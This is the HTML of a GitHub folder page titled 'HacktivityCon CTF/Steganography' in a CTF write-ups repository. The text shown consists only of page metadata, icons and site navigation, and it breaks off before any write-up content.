<title>CTF-Write-ups/HacktivityCon CTF/Steganography at master · csivitu/CTF-Write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A4A3:1F9B:4D1CEF4:4F36F45:64121E4D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="1683838d7ecc91cba0e9662bf15bd9c76d809584376ea904be2598984b18692e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBNEEzOjFGOUI6NEQxQ0VGNDo0RjM2RjQ1OjY0MTIxRTREIiwidmlzaXRvcl9pZCI6Ijk3MDk4MTA2NTIyMDAzODIyMSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="dda5fa76ce54107d745b07b55b7a8f6bc4c594f17f7a4cfc37828b052709609f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:271607379" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/0efc0b693ed553c5dcea3bee961990bf84a57100fe5e9f02d72cee60491d896b/csivitu/CTF-Write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Write-ups/HacktivityCon CTF/Steganography at master · csivitu/CTF-Write-ups" /><meta name="twitter:description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/0efc0b693ed553c5dcea3bee961990bf84a57100fe5e9f02d72cee60491d896b/csivitu/CTF-Write-ups" /><meta property="og:image:alt" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Write-ups/HacktivityCon CTF/Steganography at master · csivitu/CTF-Write-ups" /><meta property="og:url" content="https://github.com/csivitu/CTF-Write-ups" /><meta property="og:description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/csivitu/CTF-Write-ups git https://github.com/csivitu/CTF-Write-ups.git"> <meta name="octolytics-dimension-user_id" content="12748913" /><meta name="octolytics-dimension-user_login" content="csivitu" /><meta name="octolytics-dimension-repository_id" content="271607379" /><meta name="octolytics-dimension-repository_nwo" content="csivitu/CTF-Write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="271607379" /><meta name="octolytics-dimension-repository_network_root_nwo" content="csivitu/CTF-Write-ups" /> <link rel="canonical" href="https://github.com/csivitu/CTF-Write-ups/tree/master/HacktivityCon%20CTF/Steganography" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="271607379" data-scoped-search-url="/csivitu/CTF-Write-ups/search" data-owner-scoped-search-url="/orgs/csivitu/search" data-unscoped-search-url="/search" data-turbo="false" action="/csivitu/CTF-Write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="9tRSGvKhr0OwUF6J6ycvqMa0YZ/7KVyTs3PBtj8WewoNn3QlUG2gZ0WfTTGsh5PW1Drqspyox83gCyr6u2D08g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 